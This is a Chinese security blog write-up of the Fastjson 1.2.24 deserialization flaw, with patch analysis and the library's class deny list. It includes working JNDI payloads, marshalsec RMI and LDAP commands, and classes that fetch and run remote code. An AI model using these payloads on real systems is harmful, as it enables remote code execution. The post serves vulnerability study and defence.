Fastjson 1.2.24 反序列化漏洞

由 mayoterry 发布

1 、概述

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端。

FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。项目地址:https://github.com/alibaba/fastjson

2、Fastjson简单使用

首先定义一个User.java,代码如下:

package person.fastjsonuserdemo;

public class User {
    private int   id;
    private String name;
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

利用Fastjson序列化,反序列化类对象:

package person.fastjsonuserdemo;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test01 {
    public static void main(String[] args) {
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        User user1 = new User ();
        user1.setId(111);
        user1.setName("damian");
        System.out.println("------序列化对象user1-------");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("------序列化对象user1,SerializerFeature.WriteClassName -------");
        System.out.println(serializedStr1);
        System.out.println("------反序列化serializedStr1后,执行getName()方法");
        User user2=(User)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println("------反序列化serializedStr1后,输出obj------");
        System.out.println(obj);
        System.out.println("------反序列化serializedStr1后,执行getclass()");
        System.out.println(obj.getClass());


        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        User obj2 = (User)obj1;
        System.out.println("------反序列化serializedStr1后,执行getname(),getClass()");
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());
    }
}

输出:

62345-llqagvgwoxj.png

这里user为定义好的一个类,fastjson可以将对象快速转换为可以传输的字符串,当然也可以从字符串中恢复出对象,这也就是一个序列化和反序列化的过程。

从输出结果可以看到,JSON.toJSONstring实际上是将类的属性值转化为字符串,当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称,所以此时可以定位到某个类以及其实例化对象的属性值,再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象,当恢复对象时,使用JSON.parseObject带有Object.class时,此时能够成功恢复出类的对象,否则只能恢复到JsonObject对象。

3、Fastjson反序列化任意类

Fastjson使用 SerializerFeature.WriteClassName 时,会在序列化字符中写入当前类的type,如下:(User类参考上文)

String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);  
System.out.println(serializedStr1); 
// 打印结果:{"@type":"person.fastjsonuserdemo.User","id":111,"name":"damian"}


 User user2=(User)JSON.parse(serializedStr1); // 反序列化
 System.out.println(user2.getName());  // 打印结果:damian

当Fastjson实现反序列化时,@type 参数可以指定任意类,fastjson会根据指定类去反序列化得到该类的实例,并且会默认调用该类的公有set,get,is方法,因此我们在寻找反序列漏洞的利用链时的思路如下:

1、类的成员变量我们可以控制;

2、想办法在调用类的某个set,get,is函数的时候造成命令执行。

Fastjson关键函数说明:

DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理

TypeUtils. loadClass() 根据传入的类名,生成类的实例

JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。

ParserConfig. checkAutoType() fastjson后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

一个例子更好的帮助理解Fastjson根据@type传入的参数,实现任意类的反序列化过程

Person类:

package person.fastjsonuserdemo;


import java.util.Properties;


public class Person {
    public String name;
    private int age;
    private Boolean sex;
    private Properties prop;


    public Person(){
        System.out.println("User()");
    }
    public void setAge(int age){
        System.out.println("setAge()");
        this.age = age;
    }


    public Boolean getSex(){
        System.out.println("getSex()");
        return this.sex;
    }
    public Properties getProp(){
        System.out.println("getProp()");
        return this.prop;
    }
    public String toString() {
        String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
}

TestPerson类

package person.fastjsonuserdemo;
import com.alibaba.fastjson.JSON;


public class TestPerson {
    public static void main(String[] args){
        String eneity3 = "{\"@type\":\"person.fastjsonuserdemo.Person\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(eneity3,Person.class);
        System.out.println(obj);
    }
}

输出内容:

28162-kjhi4itxka.png

可以看到:

public修饰的name属性被反序列化;

private修饰的age,反序列化成功 setter函数被调用 ;

private修饰的sex,没有被被反序列化 getter函数没有被调用;

private修饰的prop,没有被反序列化 但是getter函数被调用。

这里的sex与prop都为private变量,且都无setter方法,但是prop的getter函数被调用,sex的没有,所以我们看看源码,核心在 com.alibaba.fastjson.util.JavaBeanInfo ,该类会区分情况进行处理,会将满足条件的方法添加到fieldList列表当中供后面的反序列化操作进行调用。

77919-ix2k7dtnpa.png

关于被反序列化时Fastjson默认调用的类,需要满足以下条件:

满足条件的setter:

1)方法名长度大于4且以set开头

2)非静态函数

3)返回类型为void或当前类

4)参数个数为1个

满足条件的getter:

1)方法名长度大于等于4

2)非静态方法

3)以get开头且第4个字母为大写

4)无参数

5)返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

我们上面例子中的getProp()返回类型为Properties,而Properties extends Hashtable,而Hashtable implements Map,所以getProp()会被调用而getsex()没有,那么当该get方法中存在一些危险操作的调用链,就会造成任意命令执行。

4、反序列化漏洞

Fastjson 1.2.24版本的反序列化漏洞是其首次爆出的该系列漏洞,网上流传广泛的POC如下:

{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Exploit_test\",\"autoCommit\":true}

可以看到就在反序列化类com.sun.rowset.JdbcRowSetImpl的时候造成了任意命令执行,该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup方法调用,这是一个标准的jndi注入利用。

根据以上信息,我们逆向推理漏洞出现的原因:

JDNI注入的前提是 lookup( ) 被执行,并且里面的参数可控,我们可以在com.sun.rowset.JdbcRowSetImpl中全局搜索 lookup() 方法

26539-07h8x0ky9blb.png

可以发现在com.sun.rowset.JdbcRowSetImpl.class中的connect()中调用了lookup,并且lookup的参数是通过getDataSourceName()方法获取到的,这一点很关键,首先我们需要确认这个get的结果是否是我们可控的。

查看getDataSourceName() ,发现直接返回 dataSource的值

57283-727c5gxzdfy.png

dataSource 在 setDataSourceName 方法被设置

85200-kbrbhg5q4h.png

又根据Fastjosn反序列化时的特性,setDataSourceName在反序列化时会被默认调用,所以getDataSourceName()的结果是我们可控的。

审计得到 lookup() 方法参数可控的前提下,接下来我们需要找到JdbcRowSetImpl类中哪些地方调用了 connect() 方法,进而执行lookup,以便构造POC来进行利用。

查看connect()方法在类的哪些地方被调用?

1) JdbcRowSetImpl.prepare()

2 ) JdbcRowSetImpl.getDatabaseMetaData()

3 ) JdbcRowSetImpl.setAutoCommit()

29798-6jv04doda4x.png

查看 JdbcRowSetImpl.setAutoCommit() 方法 ,我们可以通过传入boolean类型 AutoCommit 的值,进行方法调用,进而执行connect() 方法 。

57461-ca3zugdi7cb.png

根据以上说明,我们就可以构造POC:

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.rowset.JdbcRowSetImpl;


public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://139.196.x.x:9999/Exploit_test\",\"autoCommit\":true}";
                 JSON.parse(payload);
    }
}

其中 AutoCommit的值设置true 或者 false poc都会生效 。

开启RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#ExportObject" 9999

web服务的ExportObject.java内容为:(需要编译为class文件)

import java.io.BufferedReader;
import java.io.InputStreamReader;


public class ExportObject {
    public ExportObject() throws Exception {
        //  macbook 打开计算器
        Process proc = Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }
    
    public static void main(String[] args) throws Exception {
    }
}

漏洞利用成功:

23505-18ci2nnt5oj.png

调用链:

Exec:620,Runtime //命令执行

Lookup:417,InitalContext //jndi lookup函数通过rmi或者ldap获取恶意类

setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit从而在后面触发了lookup函数

setValue:96,FieldDeserializer //反射调用传入类的set函数

deserialze:600, JavaBeanDeserializer //通过循环调用传入类的共有set,get,is函数

parseObject:368,DefaultJSONParser //解析传入的json字符串

其他反序列化漏洞利用的类,如 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

可以参考:Java JSON反序列化之殇-看雪安全开发者峰会

不过因为 TemplatesImpl 的利用存在一定限制,Fastjson需要设置Feature.SupportNonPublicField ,以便能反序列化私有的属性和私有域,所有实际使用的比较少,不过我们可以拿来本地复现学习使用。

5、 JDK版本

因为JNDI注入的利用受jdk版本影响较大,所以有些同学做本地复现的时候,很容易在此踩坑。

以下为不同利用方式所适用的JDK版本:

1、基于rmi的利用方式

适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。

利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://127.0.0.1:8080/test/#Exploit

2、基于ldap的利用方式

适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8080/test/#Exploitt

3、基于BeanFactory的利用方式

适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后。

利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。

利用方式:

public class EvilRMIServerNew {

    public static void main(String[] args) throws Exception {

        System.out.println("Creating evil RMI registry on port 1097");

        Registry registry = LocateRegistry.createRegistry(1097);


        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code

        ref.add(new StringRefAddr("forceString", "x=eval"));

        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows

        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));


        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

        registry.bind("Object", referenceWrapper);
    }
}

6 、补丁分析

在Fastjson 1.2.24首次爆出反序列化漏洞后,官方立马做了更新,于是就迎来了一个新的主角,checkAutoType() ,在接下来的一系列绕过中都是和这个函数的斗智斗勇。

先看一下这个函数的代码:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    if (typeName == null) {

        return null;

    } else if (typeName.length() >= 128) {

        throw new JSONException("autoType is not support. " + typeName);

    } else {

        String className = typeName.replace('$', '.');

        Class<?> clazz = null;

        int mask;

        String accept;

        if (this.autoTypeSupport || expectClass != null) {

            for(mask = 0; mask < this.acceptList.length; ++mask) {

                accept = this.acceptList[mask];

                if (className.startsWith(accept)) {

                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);

                    if (clazz != null) {

                        return clazz;

                    }

                }

            }


            for(mask = 0; mask < this.denyList.length; ++mask) {

                accept = this.denyList[mask];

                if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {

                    throw new JSONException("autoType is not support. " + typeName);

                }

            }

        }

补丁的防御方式比较清晰,限制长度和黑名单类,来看一下这些黑名单类:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,
org.apache.commons.collections.functors,
org.apache.commons.collections4.comparators,
org.apache.commons.fileupload,
org.apache.myfaces.context.servlet,
org.apache.tomcat,
org.apache.wicket.util,
org.codehaus.groovy.runtime,
org.hibernate,
org.jboss,
org.mozilla.javascript,
org.python.core,org.springframework

作为安全从业者,看到作者的补丁思路,第一时间产生的想法肯定是如何绕过黑名单。

也正是官方采用了这种黑名单思路的防御方式,导致了后续一次又一次的被安全研究者们Bypass,构造出新的反序列化思路。

参考:

https://github.com/alibaba/fastjson/wiki/security_update_20170315

https://www.freebuf.com/vuls/208339.html

https://github.com/shengqi158/fastjson-remote-code-execute-poc

[http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#%E8%A1%A5%E4%B8%81](


暂无评论

发表评论